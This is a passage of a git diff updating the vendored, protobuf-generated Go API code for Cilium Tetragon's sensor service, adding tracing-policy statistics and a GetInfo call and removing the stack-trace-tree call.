tetragon.TracingPolicyStatus.state:type_name -> tetragon.TracingPolicyState + 1, // 3: tetragon.TracingPolicyStatus.mode:type_name -> tetragon.TracingPolicyMode + 9, // 4: tetragon.TracingPolicyStatus.stats:type_name -> tetragon.TracingPolicyStats + 10, // 5: tetragon.ListTracingPoliciesResponse.policies:type_name -> tetragon.TracingPolicyStatus + 1, // 6: tetragon.ConfigureTracingPolicyRequest.mode:type_name -> tetragon.TracingPolicyMode + 39, // 7: tetragon.GetInfoResponse.probes:type_name -> tetragon.GetInfoResponse.Probe + 40, // 8: tetragon.GetInfoResponse.conf:type_name -> tetragon.GetInfoResponse.ConfVal + 41, // 9: tetragon.GetInfoResponse.build:type_name -> tetragon.GetInfoResponse.BuildInfo + 43, // 10: tetragon.ProcessInternal.process:type_name -> tetragon.Process + 44, // 11: tetragon.ProcessInternal.refcnt:type_name -> google.protobuf.UInt32Value + 42, // 12: tetragon.ProcessInternal.refcnt_ops:type_name -> tetragon.ProcessInternal.RefcntOpsEntry + 33, // 13: tetragon.DumpProcessCacheResArgs.processes:type_name -> tetragon.ProcessInternal + 2, // 14: tetragon.GetDebugRequest.flag:type_name -> tetragon.ConfigFlag + 32, // 15: tetragon.GetDebugRequest.dump:type_name -> tetragon.DumpProcessCacheReqArgs + 2, // 16: tetragon.GetDebugResponse.flag:type_name -> tetragon.ConfigFlag + 3, // 17: tetragon.GetDebugResponse.level:type_name -> tetragon.LogLevel + 34, // 18: tetragon.GetDebugResponse.processes:type_name -> tetragon.DumpProcessCacheResArgs + 2, // 19: tetragon.SetDebugRequest.flag:type_name -> tetragon.ConfigFlag + 3, // 20: tetragon.SetDebugRequest.level:type_name -> tetragon.LogLevel + 2, // 21: tetragon.SetDebugResponse.flag:type_name -> tetragon.ConfigFlag + 3, // 22: tetragon.SetDebugResponse.level:type_name -> tetragon.LogLevel + 45, // 23: tetragon.GetInfoResponse.Probe.Enabled:type_name -> google.protobuf.BoolValue + 46, // 24: tetragon.GetInfoResponse.ConfVal.value:type_name -> google.protobuf.Any + 47, // 25: tetragon.FineGuidanceSensors.GetEvents:input_type -> tetragon.GetEventsRequest + 48, // 26: tetragon.FineGuidanceSensors.GetHealth:input_type -> tetragon.GetHealthStatusRequest + 12, // 27: tetragon.FineGuidanceSensors.AddTracingPolicy:input_type -> tetragon.AddTracingPolicyRequest + 14, // 28: tetragon.FineGuidanceSensors.DeleteTracingPolicy:input_type -> tetragon.DeleteTracingPolicyRequest + 7, // 29: tetragon.FineGuidanceSensors.ListTracingPolicies:input_type -> tetragon.ListTracingPoliciesRequest + 20, // 30: tetragon.FineGuidanceSensors.ConfigureTracingPolicy:input_type -> tetragon.ConfigureTracingPolicyRequest + 16, // 31: tetragon.FineGuidanceSensors.EnableTracingPolicy:input_type -> tetragon.EnableTracingPolicyRequest + 18, // 32: tetragon.FineGuidanceSensors.DisableTracingPolicy:input_type -> tetragon.DisableTracingPolicyRequest + 4, // 33: tetragon.FineGuidanceSensors.ListSensors:input_type -> tetragon.ListSensorsRequest + 24, // 34: tetragon.FineGuidanceSensors.EnableSensor:input_type -> tetragon.EnableSensorRequest + 26, // 35: tetragon.FineGuidanceSensors.DisableSensor:input_type -> tetragon.DisableSensorRequest + 22, // 36: tetragon.FineGuidanceSensors.RemoveSensor:input_type -> tetragon.RemoveSensorRequest + 28, // 37: tetragon.FineGuidanceSensors.GetVersion:input_type -> tetragon.GetVersionRequest + 30, // 38: tetragon.FineGuidanceSensors.GetInfo:input_type -> tetragon.GetInfoRequest + 49, // 39: tetragon.FineGuidanceSensors.RuntimeHook:input_type -> tetragon.RuntimeHookRequest + 35, // 40: tetragon.FineGuidanceSensors.GetDebug:input_type -> tetragon.GetDebugRequest + 37, // 41: tetragon.FineGuidanceSensors.SetDebug:input_type -> tetragon.SetDebugRequest + 50, // 42: tetragon.FineGuidanceSensors.GetEvents:output_type -> tetragon.GetEventsResponse + 51, // 43: tetragon.FineGuidanceSensors.GetHealth:output_type -> tetragon.GetHealthStatusResponse + 13, // 44: tetragon.FineGuidanceSensors.AddTracingPolicy:output_type -> tetragon.AddTracingPolicyResponse + 15, // 45: tetragon.FineGuidanceSensors.DeleteTracingPolicy:output_type -> tetragon.DeleteTracingPolicyResponse + 11, // 46: tetragon.FineGuidanceSensors.ListTracingPolicies:output_type -> tetragon.ListTracingPoliciesResponse + 21, // 47: tetragon.FineGuidanceSensors.ConfigureTracingPolicy:output_type -> tetragon.ConfigureTracingPolicyResponse + 17, // 48: tetragon.FineGuidanceSensors.EnableTracingPolicy:output_type -> tetragon.EnableTracingPolicyResponse + 19, // 49: tetragon.FineGuidanceSensors.DisableTracingPolicy:output_type -> tetragon.DisableTracingPolicyResponse + 6, // 50: tetragon.FineGuidanceSensors.ListSensors:output_type -> tetragon.ListSensorsResponse + 25, // 51: tetragon.FineGuidanceSensors.EnableSensor:output_type -> tetragon.EnableSensorResponse + 27, // 52: tetragon.FineGuidanceSensors.DisableSensor:output_type -> tetragon.DisableSensorResponse + 23, // 53: tetragon.FineGuidanceSensors.RemoveSensor:output_type -> tetragon.RemoveSensorResponse + 29, // 54: tetragon.FineGuidanceSensors.GetVersion:output_type -> tetragon.GetVersionResponse + 31, // 55: tetragon.FineGuidanceSensors.GetInfo:output_type -> tetragon.GetInfoResponse + 52, // 56: tetragon.FineGuidanceSensors.RuntimeHook:output_type -> tetragon.RuntimeHookResponse + 36, // 57: tetragon.FineGuidanceSensors.GetDebug:output_type -> tetragon.GetDebugResponse + 38, // 58: tetragon.FineGuidanceSensors.SetDebug:output_type -> tetragon.SetDebugResponse + 42, // [42:59] is the sub-list for method output_type + 25, // [25:42] is the sub-list for method input_type + 25, // [25:25] is the sub-list for extension type_name + 25, // [25:25] is the sub-list for extension extendee + 0, // [0:25] is the sub-list for field type_name } func init() { file_tetragon_sensors_proto_init() } @@ -2394,20 +2838,20 @@ func file_tetragon_sensors_proto_init() { return } file_tetragon_events_proto_init() - file_tetragon_stack_proto_init() file_tetragon_tetragon_proto_init() - file_tetragon_sensors_proto_msgTypes[14].OneofWrappers = []any{} - file_tetragon_sensors_proto_msgTypes[29].OneofWrappers = []any{ + file_tetragon_sensors_proto_msgTypes[6].OneofWrappers = []any{} + file_tetragon_sensors_proto_msgTypes[16].OneofWrappers = []any{} + file_tetragon_sensors_proto_msgTypes[31].OneofWrappers = []any{ (*GetDebugRequest_Dump)(nil), } - file_tetragon_sensors_proto_msgTypes[30].OneofWrappers = []any{ + file_tetragon_sensors_proto_msgTypes[32].OneofWrappers = []any{ (*GetDebugResponse_Level)(nil), (*GetDebugResponse_Processes)(nil), } - file_tetragon_sensors_proto_msgTypes[31].OneofWrappers = []any{ + file_tetragon_sensors_proto_msgTypes[33].OneofWrappers = []any{ (*SetDebugRequest_Level)(nil), } - file_tetragon_sensors_proto_msgTypes[32].OneofWrappers = []any{ + file_tetragon_sensors_proto_msgTypes[34].OneofWrappers = []any{ (*SetDebugResponse_Level)(nil), } type x struct{} @@ -2416,7 +2860,7 @@ func file_tetragon_sensors_proto_init() { GoPackagePath: reflect.TypeOf(x{}).PkgPath(), RawDescriptor: file_tetragon_sensors_proto_rawDesc, NumEnums: 4, - NumMessages: 34, + NumMessages: 39, NumExtensions: 0, NumServices: 1, }, diff --git a/vendor/github.com/cilium/tetragon/api/v1/tetragon/sensors.pb.json.go b/vendor/github.com/cilium/tetragon/api/v1/tetragon/sensors.pb.json.go index b649a949..f5ffd6d3 100644 --- a/vendor/github.com/cilium/tetragon/api/v1/tetragon/sensors.pb.json.go +++ b/vendor/github.com/cilium/tetragon/api/v1/tetragon/sensors.pb.json.go @@ -58,6 +58,30 @@ func (msg *ListTracingPoliciesRequest) UnmarshalJSON(b []byte) error { return protojson.UnmarshalOptions{}.Unmarshal(b, msg) } +// MarshalJSON implements json.Marshaler +func (msg *TracingPolicyActionCounters) MarshalJSON() ([]byte, error) { + return protojson.MarshalOptions{ + UseProtoNames: true, + }.Marshal(msg) +} + +// UnmarshalJSON implements json.Unmarshaler +func (msg *TracingPolicyActionCounters) UnmarshalJSON(b []byte) error { + return protojson.UnmarshalOptions{}.Unmarshal(b, msg) +} + +// MarshalJSON implements json.Marshaler +func (msg *TracingPolicyStats) MarshalJSON() ([]byte, error) { + return protojson.MarshalOptions{ + UseProtoNames: true, + }.Marshal(msg) +} + +// UnmarshalJSON implements json.Unmarshaler +func (msg *TracingPolicyStats) UnmarshalJSON(b []byte) error { + return protojson.UnmarshalOptions{}.Unmarshal(b, msg) +} + // MarshalJSON implements json.Marshaler func (msg *TracingPolicyStatus) MarshalJSON() ([]byte, error) { return protojson.MarshalOptions{ @@ -275,50 +299,86 @@ func (msg *DisableSensorResponse) UnmarshalJSON(b []byte) error { } // MarshalJSON implements json.Marshaler -func (msg *GetStackTraceTreeRequest) MarshalJSON() ([]byte, error) { +func (msg *GetVersionRequest) MarshalJSON() ([]byte, error) { return protojson.MarshalOptions{ UseProtoNames: true, }.Marshal(msg) } // UnmarshalJSON implements json.Unmarshaler -func (msg *GetStackTraceTreeRequest) UnmarshalJSON(b []byte) error { +func (msg *GetVersionRequest) UnmarshalJSON(b []byte) error { return protojson.UnmarshalOptions{}.Unmarshal(b, msg) } // MarshalJSON implements json.Marshaler -func (msg *GetStackTraceTreeResponse) MarshalJSON() ([]byte, error) { +func (msg *GetVersionResponse) MarshalJSON() ([]byte, error) { return protojson.MarshalOptions{ UseProtoNames: true, }.Marshal(msg) } // UnmarshalJSON implements json.Unmarshaler -func (msg *GetStackTraceTreeResponse) UnmarshalJSON(b []byte) error { +func (msg *GetVersionResponse) UnmarshalJSON(b []byte) error { return protojson.UnmarshalOptions{}.Unmarshal(b, msg) } // MarshalJSON implements json.Marshaler -func (msg *GetVersionRequest) MarshalJSON() ([]byte, error) { +func (msg *GetInfoRequest) MarshalJSON() ([]byte, error) { return protojson.MarshalOptions{ UseProtoNames: true, }.Marshal(msg) } // UnmarshalJSON implements json.Unmarshaler -func (msg *GetVersionRequest) UnmarshalJSON(b []byte) error { +func (msg *GetInfoRequest) UnmarshalJSON(b []byte) error { return protojson.UnmarshalOptions{}.Unmarshal(b, msg) } // MarshalJSON implements json.Marshaler -func (msg *GetVersionResponse) MarshalJSON() ([]byte, error) { +func (msg *GetInfoResponse) MarshalJSON() ([]byte, error) { return protojson.MarshalOptions{ UseProtoNames: true, }.Marshal(msg) } // UnmarshalJSON implements json.Unmarshaler -func (msg *GetVersionResponse) UnmarshalJSON(b []byte) error { +func (msg *GetInfoResponse) UnmarshalJSON(b []byte) error { + return protojson.UnmarshalOptions{}.Unmarshal(b, msg) +} + +// MarshalJSON implements json.Marshaler +func (msg *GetInfoResponse_Probe) MarshalJSON() ([]byte, error) { + return protojson.MarshalOptions{ + UseProtoNames: true, + }.Marshal(msg) +} + +// UnmarshalJSON implements json.Unmarshaler +func (msg *GetInfoResponse_Probe) UnmarshalJSON(b []byte) error { + return protojson.UnmarshalOptions{}.Unmarshal(b, msg) +} + +// MarshalJSON implements json.Marshaler +func (msg *GetInfoResponse_ConfVal) MarshalJSON() ([]byte, error) { + return protojson.MarshalOptions{ + UseProtoNames: true, + }.Marshal(msg) +} + +// UnmarshalJSON implements json.Unmarshaler +func (msg *GetInfoResponse_ConfVal) UnmarshalJSON(b []byte) error { + return protojson.UnmarshalOptions{}.Unmarshal(b, msg) +} + +// MarshalJSON implements json.Marshaler +func (msg *GetInfoResponse_BuildInfo) MarshalJSON() ([]byte, error) { + return protojson.MarshalOptions{ + UseProtoNames: true, + }.Marshal(msg) +} + +// UnmarshalJSON implements json.Unmarshaler +func (msg *GetInfoResponse_BuildInfo) UnmarshalJSON(b []byte) error { return protojson.UnmarshalOptions{}.Unmarshal(b, msg) } diff --git a/vendor/github.com/cilium/tetragon/api/v1/tetragon/sensors.proto b/vendor/github.com/cilium/tetragon/api/v1/tetragon/sensors.proto index ce99ce30..de442955 100644 --- a/vendor/github.com/cilium/tetragon/api/v1/tetragon/sensors.proto +++ b/vendor/github.com/cilium/tetragon/api/v1/tetragon/sensors.proto @@ -5,9 +5,9 @@ syntax = "proto3"; package tetragon; +import "google/protobuf/any.proto"; import "google/protobuf/wrappers.proto"; import "tetragon/events.proto"; -import "tetragon/stack.proto"; import "tetragon/tetragon.proto"; option go_package = "github.com/cilium/tetragon/api/v1/tetragon"; @@ -53,6 +53,32 @@ enum TracingPolicyMode { TP_MODE_UNKNOWN = 0; TP_MODE_ENFORCE = 1; TP_MODE_MONITOR = 2; + TP_MODE_MONITOR_ONLY = 3; +} + +message TracingPolicyActionCounters { + // number of post events generated from the policy + uint64 post = 1; + // number of signals sent from the policy + uint64 signal = 2; + // number of signals that were not sent because the policy was in monitor mode + uint64 monitor_signal = 3; + // number of return overrides + uint64 override = 4; + // number of return overrides that did not occur because the policy was in monitor mode + uint64 monitor_override = 5; + // number of enforcer notifications triggered from the policy + uint64 notify_enforcer = 6; + // number of enforcer notifications that did not occur because the policy was in monitor mode + uint64 monitor_notify_enforcer = 7; + // number of set actions triggered from the policy + uint64 set = 8; + // number of set actions that did not occur because the policy was in monitor mode + uint64 monitor_set = 9; +} + +message TracingPolicyStats { + TracingPolicyActionCounters action_counters = 1; } message TracingPolicyStatus { @@ -78,6 +104,8 @@ message TracingPolicyStatus { uint64 kernel_memory_bytes = 10; // current mode of the tracing policy TracingPolicyMode mode = 11; + // stats of the tracing policy + optional TracingPolicyStats stats = 12; } message ListTracingPoliciesResponse { @@ -134,19 +162,45 @@ message DisableSensorRequest { message DisableSensorResponse {} -message GetStackTraceTreeRequest { - string name = 1; -} - -message GetStackTraceTreeResponse { - StackTraceNode root = 1; -} - message GetVersionRequest {} message GetVersionResponse { string version = 1; } +message GetInfoRequest {} +message GetInfoResponse { + // version is the version of the agent tetragon (same as GetVersionResponse()) + string version = 1; + // name is the name of the agent + string name = 2; + + message Probe { + string Name = 1; + google.protobuf.BoolValue Enabled = 2; + } + + // probes is a list of kernel features that have been probed by the agent + repeated Probe probes = 3; + + message ConfVal { + string key = 1; + google.protobuf.Any value = 2; + } + + // conf is the agent configuration + repeated ConfVal conf = 4; + + message BuildInfo { + string go_version = 1; + string commit = 2; + string time = 3; + string modified = 4; + } + + // build is the agent build information + BuildInfo build = 5; +} + // For now, we only want to support debug-related config flags to be configurable. enum ConfigFlag { CONFIG_FLAG_LOG_LEVEL = 0; @@ -251,9 +305,8 @@ service FineGuidanceSensors { option deprecated = true; } - rpc GetStackTraceTree(GetStackTraceTreeRequest) returns (GetStackTraceTreeResponse) {} - rpc GetVersion(GetVersionRequest) returns (GetVersionResponse) {} + rpc GetInfo(GetInfoRequest) returns (GetInfoResponse) {} rpc RuntimeHook(RuntimeHookRequest) returns (RuntimeHookResponse) {} diff --git a/vendor/github.com/cilium/tetragon/api/v1/tetragon/sensors_grpc.pb.go b/vendor/github.com/cilium/tetragon/api/v1/tetragon/sensors_grpc.pb.go index d14fbe03..328f6a25 100644 --- a/vendor/github.com/cilium/tetragon/api/v1/tetragon/sensors_grpc.pb.go +++ b/vendor/github.com/cilium/tetragon/api/v1/tetragon/sensors_grpc.pb.go @@ -34,8 +34,8 @@ const ( FineGuidanceSensors_EnableSensor_FullMethodName = "/tetragon.FineGuidanceSensors/EnableSensor" FineGuidanceSensors_DisableSensor_FullMethodName = "/tetragon.FineGuidanceSensors/DisableSensor" FineGuidanceSensors_RemoveSensor_FullMethodName = "/tetragon.FineGuidanceSensors/RemoveSensor" - FineGuidanceSensors_GetStackTraceTree_FullMethodName = "/tetragon.FineGuidanceSensors/GetStackTraceTree" FineGuidanceSensors_GetVersion_FullMethodName = "/tetragon.FineGuidanceSensors/GetVersion" + FineGuidanceSensors_GetInfo_FullMethodName = "/tetragon.FineGuidanceSensors/GetInfo" FineGuidanceSensors_RuntimeHook_FullMethodName = "/tetragon.FineGuidanceSensors/RuntimeHook" FineGuidanceSensors_GetDebug_FullMethodName = "/tetragon.FineGuidanceSensors/GetDebug" FineGuidanceSensors_SetDebug_FullMethodName = "/tetragon.FineGuidanceSensors/SetDebug" @@ -70,8 +70,8 @@ type FineGuidanceSensorsClient interface { DisableSensor(ctx context.Context, in *DisableSensorRequest, opts ...grpc.CallOption) (*DisableSensorResponse, error) // Deprecated: Do not use. RemoveSensor(ctx context.Context, in *RemoveSensorRequest, opts ...grpc.CallOption) (*RemoveSensorResponse, error) - GetStackTraceTree(ctx context.Context, in *GetStackTraceTreeRequest, opts ...grpc.CallOption) (*GetStackTraceTreeResponse, error) GetVersion(ctx context.Context, in *GetVersionRequest, opts ...grpc.CallOption) (*GetVersionResponse, error) + GetInfo(ctx context.Context, in *GetInfoRequest, opts ...grpc.CallOption) (*GetInfoResponse, error) RuntimeHook(ctx context.Context, in *RuntimeHookRequest, opts ...grpc.CallOption) (*RuntimeHookResponse, error) GetDebug(ctx context.Context, in *GetDebugRequest, opts ...grpc.CallOption) (*GetDebugResponse, error) SetDebug(ctx context.Context, in *SetDebugRequest, opts ...grpc.CallOption) (*SetDebugResponse, error) @@ -220,20 +220,20 @@ func (c *fineGuidanceSensorsClient) RemoveSensor(ctx context.Context, in *Remove return out, nil } -func (c *fineGuidanceSensorsClient) GetStackTraceTree(ctx context.Context, in *GetStackTraceTreeRequest, opts ...grpc.CallOption) (*GetStackTraceTreeResponse, error) { +func (c *fineGuidanceSensorsClient) GetVersion(ctx context.Context, in *GetVersionRequest, opts ...grpc.CallOption) (*GetVersionResponse, error) { cOpts := append([]grpc.CallOption{grpc.StaticMethod()}, opts...) - out := new(GetStackTraceTreeResponse) - err := c.cc.Invoke(ctx, FineGuidanceSensors_GetStackTraceTree_FullMethodName, in, out, cOpts...) + out := new(GetVersionResponse) + err := c.cc.Invoke(ctx, FineGuidanceSensors_GetVersion_FullMethodName, in, out, cOpts...) if err != nil { return nil, err } return out, nil } -func (c *fineGuidanceSensorsClient) GetVersion(ctx context.Context, in *GetVersionRequest, opts ...grpc.CallOption) (*GetVersionResponse, error) { +func (c *fineGuidanceSensorsClient) GetInfo(ctx context.Context, in *GetInfoRequest, opts ...grpc.CallOption) (*GetInfoResponse, error) { cOpts := append([]grpc.CallOption{grpc.StaticMethod()}, opts...) - out := new(GetVersionResponse) - err := c.cc.Invoke(ctx, FineGuidanceSensors_GetVersion_FullMethodName, in, out, cOpts...) + out := new(GetInfoResponse) + err := c.cc.Invoke(ctx, FineGuidanceSensors_GetInfo_FullMethodName, in, out, cOpts...) if err != nil { return nil, err } @@ -299,8 +299,8 @@ type FineGuidanceSensorsServer interface { DisableSensor(context.Context, *DisableSensorRequest) (*DisableSensorResponse, error) // Deprecated: Do not use. RemoveSensor(context.Context, *RemoveSensorRequest) (*RemoveSensorResponse, error) - GetStackTraceTree(context.Context, *GetStackTraceTreeRequest) (*GetStackTraceTreeResponse, error) GetVersion(context.Context, *GetVersionRequest) (*GetVersionResponse, error) + GetInfo(context.Context, *GetInfoRequest) (*GetInfoResponse, error) RuntimeHook(context.Context, *RuntimeHookRequest) (*RuntimeHookResponse, error) GetDebug(context.Context, *GetDebugRequest) (*GetDebugResponse, error) SetDebug(context.Context, *SetDebugRequest) (*SetDebugResponse, error) @@ -350,12 +350,12 @@ func (UnimplementedFineGuidanceSensorsServer) DisableSensor(context.Context, *Di func (UnimplementedFineGuidanceSensorsServer) RemoveSensor(context.Context, *RemoveSensorRequest) (*RemoveSensorResponse, error) { return nil, status.Errorf(codes.Unimplemented, "method RemoveSensor not implemented") } -func (UnimplementedFineGuidanceSensorsServer) GetStackTraceTree(context.Context, *GetStackTraceTreeRequest) (*GetStackTraceTreeResponse, error) { - return nil, status.Errorf(codes.Unimplemented, "method GetStackTraceTree not implemented") -} func (UnimplementedFineGuidanceSensorsServer) GetVersion(context.Context, *GetVersionRequest) (*GetVersionResponse, error) { return nil, status.Errorf(codes.Unimplemented, "method GetVersion not implemented") } +func (UnimplementedFineGuidanceSensorsServer) GetInfo(context.Context, *GetInfoRequest) (*GetInfoResponse, error) { + return nil, status.Errorf(codes.Unimplemented, "method GetInfo not implemented") +} func (UnimplementedFineGuidanceSensorsServer) RuntimeHook(context.Context, *RuntimeHookRequest) (*RuntimeHookResponse, error) { return nil, status.Errorf(codes.Unimplemented, "method RuntimeHook not implemented") } @@ -595,38 +595,38 @@ func _FineGuidanceSensors_RemoveSensor_Handler(srv interface{}, ctx context.Cont return interceptor(ctx, in, info, handler) } -func _FineGuidanceSensors_GetStackTraceTree_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) { - in := new(GetStackTraceTreeRequest) +func _FineGuidanceSensors_GetVersion_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) { + in := new(GetVersionRequest) if err := dec(in); err != nil { return nil, err } if interceptor == nil { - return srv.(FineGuidanceSensorsServer).GetStackTraceTree(ctx, in) + return srv.(FineGuidanceSensorsServer).GetVersion(ctx, in) } info := &grpc.UnaryServerInfo{ Server: srv, - FullMethod: FineGuidanceSensors_GetStackTraceTree_FullMethodName, + FullMethod: FineGuidanceSensors_GetVersion_FullMethodName, } handler := func(ctx context.Context, req interface{}) (interface{}, error) { - return srv.(FineGuidanceSensorsServer).GetStackTraceTree(ctx, req.(*GetStackTraceTreeRequest)) + return srv.(FineGuidanceSensorsServer).GetVersion(ctx, req.(*GetVersionRequest)) } return interceptor(ctx, in, info, handler) } -func _FineGuidanceSensors_GetVersion_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) { - in := new(GetVersionRequest) +func _FineGuidanceSensors_GetInfo_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) { + in := new(GetInfoRequest) if err := dec(in); err != nil { return nil, err } if interceptor == nil { - return srv.(FineGuidanceSensorsServer).GetVersion(ctx, in) + return srv.(FineGuidanceSensorsServer).GetInfo(ctx, in) } info := &grpc.UnaryServerInfo{ Server: srv, - FullMethod: FineGuidanceSensors_GetVersion_FullMethodName, + FullMethod: FineGuidanceSensors_GetInfo_FullMethodName, } handler := func(ctx context.Context, req interface{}) (interface{}, error) { - return srv.(FineGuidanceSensorsServer).GetVersion(ctx, req.(*GetVersionRequest)) + return srv.(FineGuidanceSensorsServer).GetInfo(ctx, req.(*GetInfoRequest)) } return interceptor(ctx, in, info, handler) } @@ -736,14 +736,14 @@ var FineGuidanceSensors_ServiceDesc = grpc.ServiceDesc{ MethodName: "RemoveSensor", Handler: _FineGuidanceSensors_RemoveSensor_Handler, }, - { - MethodName: "GetStackTraceTree", - Handler: _FineGuidanceSensors_GetStackTraceTree_Handler, - }, { MethodName: "GetVersion", Handler: _FineGuidanceSensors_GetVersion_Handler, }, + { + MethodName: "GetInfo", + Handler: _FineGuidanceSensors_GetInfo_Handler, + }, { MethodName: "RuntimeHook", Handler: _FineGuidanceSensors_RuntimeHook_Handler, diff --git a/vendor/github.com/cilium/tetragon/api/v1/tetragon/stack.pb.go b/vendor/github.com/cilium/tetragon/api/v1/tetragon/stack.pb.go deleted file mode 100644 index 9e3b6926..00000000 --- a/vendor/github.com/cilium/tetragon/api/v1/tetragon/stack.pb.go +++ /dev/null @@ -1,331 +0,0 @@ -// SPDX-License-Identifier: Apache-2.0 -// Copyright Authors of Hubble - -// Code generated by protoc-gen-go. DO NOT EDIT. -// versions: -// protoc-gen-go v1.36.3 -// protoc (unknown) -// source: tetragon/stack.proto - -package tetragon - -import ( - protoreflect "google.golang.org/protobuf/reflect/protoreflect" - protoimpl "google.golang.org/protobuf/runtime/protoimpl" - reflect "reflect" - sync "sync" -) - -const ( - // Verify that this generated code is sufficiently up-to-date. - _ = protoimpl.EnforceVersion(20 - protoimpl.MinVersion) - // Verify that runtime/protoimpl is sufficiently up-to-date. - _ = protoimpl.EnforceVersion(protoimpl.MaxVersion - 20) -) - -type StackAddress struct { - state protoimpl.MessageState `protogen:"open.v1"` - Address uint64 `protobuf:"varint,1,opt,name=address,proto3" json:"address,omitempty"` - Symbol string `protobuf:"bytes,2,opt,name=symbol,proto3" json:"symbol,omitempty"` - unknownFields protoimpl.UnknownFields - sizeCache protoimpl.SizeCache -} - -func (x *StackAddress) Reset() { - *x = StackAddress{} - mi := &file_tetragon_stack_proto_msgTypes[0] - ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) - ms.StoreMessageInfo(mi) -} - -func (x *StackAddress) String() string { - return protoimpl.X.MessageStringOf(x) -} - -func (*StackAddress) ProtoMessage() {} - -func (x *StackAddress) ProtoReflect() protoreflect.Message { - mi := &file_tetragon_stack_proto_msgTypes[0] - if x != nil { - ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) - if ms.LoadMessageInfo() == nil { - ms.StoreMessageInfo(mi) - } - return ms - } - return mi.MessageOf(x) -} - -// Deprecated: Use StackAddress.ProtoReflect.Descriptor instead. -func (*StackAddress) Descriptor() ([]byte, []int) { - return file_tetragon_stack_proto_rawDescGZIP(), []int{0} -} - -func (x *StackAddress) GetAddress() uint64 { - if x != nil { - return x.Address - } - return 0 -} - -func (x *StackAddress) GetSymbol() string { - if x != nil { - return x.Symbol - } - return "" -} - -type StackTrace struct { - state protoimpl.MessageState `protogen:"open.v1"` - Addresses []*StackAddress `protobuf:"bytes,1,rep,name=addresses,proto3" json:"addresses,omitempty"` - unknownFields protoimpl.UnknownFields - sizeCache protoimpl.SizeCache -} - -func (x *StackTrace) Reset() { - *x = StackTrace{} - mi := &file_tetragon_stack_proto_msgTypes[1] - ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) - ms.StoreMessageInfo(mi) -} - -func (x *StackTrace) String() string { - return protoimpl.X.MessageStringOf(x) -} - -func (*StackTrace) ProtoMessage() {} - -func (x *StackTrace) ProtoReflect() protoreflect.Message { - mi := &file_tetragon_stack_proto_msgTypes[1] - if x != nil { - ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) - if ms.LoadMessageInfo() == nil { - ms.StoreMessageInfo(mi) - } - return ms - } - return mi.MessageOf(x) -} - -// Deprecated: Use StackTrace.ProtoReflect.Descriptor instead. -func (*StackTrace) Descriptor() ([]byte, []int) { - return file_tetragon_stack_proto_rawDescGZIP(), []int{1} -} - -func (x *StackTrace) GetAddresses() []*StackAddress { - if x != nil { - return x.Addresses - } - return nil -} - -type StackTraceLabel struct { - state protoimpl.MessageState `protogen:"open.v1"` - Key string `protobuf:"bytes,1,opt,name=key,proto3" json:"key,omitempty"` - Count uint64 `protobuf:"varint,2,opt,name=count,proto3" json:"count,omitempty"` - unknownFields protoimpl.UnknownFields - sizeCache protoimpl.SizeCache -} - -func (x *StackTraceLabel) Reset() { - *x = StackTraceLabel{} - mi := &file_tetragon_stack_proto_msgTypes[2] - ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) - ms.StoreMessageInfo(mi) -} - -func (x *StackTraceLabel) String() string { - return protoimpl.X.MessageStringOf(x) -} - -func (*StackTraceLabel) ProtoMessage() {} - -func (x *StackTraceLabel) ProtoReflect() protoreflect.Message { - mi := &file_tetragon_stack_proto_msgTypes[2] - if x != nil { - ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) - if ms.LoadMessageInfo() == nil { - ms.StoreMessageInfo(mi) - } - return ms - } - return mi.MessageOf(x) -} - -// Deprecated: Use StackTraceLabel.ProtoReflect.Descriptor instead. -func (*StackTraceLabel) Descriptor() ([]byte, []int) { - return file_tetragon_stack_proto_rawDescGZIP(), []int{2} -} - -func (x *StackTraceLabel) GetKey() string { - if x != nil { - return x.Key - } - return "" -} - -func (x *StackTraceLabel) GetCount() uint64 { - if x != nil { - return x.Count - } - return 0 -} - -type StackTraceNode struct { - state protoimpl.MessageState `protogen:"open.v1"` - Address *StackAddress `protobuf:"bytes,1,opt,name=address,proto3" json:"address,omitempty"` - Count uint64 `protobuf:"varint,2,opt,name=count,proto3" json:"count,omitempty"` - Labels []*StackTraceLabel `protobuf:"bytes,3,rep,name=labels,proto3" json:"labels,omitempty"` - Children []*StackTraceNode `protobuf:"bytes,4,rep,name=children,proto3" json:"children,omitempty"` - unknownFields protoimpl.UnknownFields - sizeCache protoimpl.SizeCache -} - -func (x *StackTraceNode) Reset() { - *x = StackTraceNode{} - mi := &file_tetragon_stack_proto_msgTypes[3] - ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) - ms.StoreMessageInfo(mi) -} - -func (x *StackTraceNode) String() string { - return protoimpl.X.MessageStringOf(x) -} - -func (*StackTraceNode) ProtoMessage() {} - -func (x *StackTraceNode) ProtoReflect() protoreflect.Message { - mi := &file_tetragon_stack_proto_msgTypes[3] - if x != nil { - ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) - if ms.LoadMessageInfo() == nil { - ms.StoreMessageInfo(mi) - } - return ms - } - return mi.MessageOf(x) -} - -// Deprecated: Use StackTraceNode.ProtoReflect.Descriptor instead. -func (*StackTraceNode) Descriptor() ([]byte, []int) { - return file_tetragon_stack_proto_rawDescGZIP(), []int{3} -} - -func (x *StackTraceNode) GetAddress() *StackAddress { - if x != nil { - return x.Address - } - return nil -} - -func (x *StackTraceNode) GetCount() uint64 { - if x != nil { - return x.Count - } - return 0 -} - -func (x *StackTraceNode) GetLabels() []*StackTraceLabel { - if x != nil { - return x.Labels - } - return nil -} - -func (x *StackTraceNode) GetChildren() []*StackTraceNode { - if x != nil { - return x.Children - } - return nil -} - -var File_tetragon_stack_proto protoreflect.FileDescriptor - -var file_tetragon_stack_proto_rawDesc = []byte{ - 0x0a, 0x14, 0x74, 0x65, 0x74, 0x72, 0x61, 0x67, 0x6f, 0x6e, 0x2f, 0x73, 0x74, 0x61, 0x63, 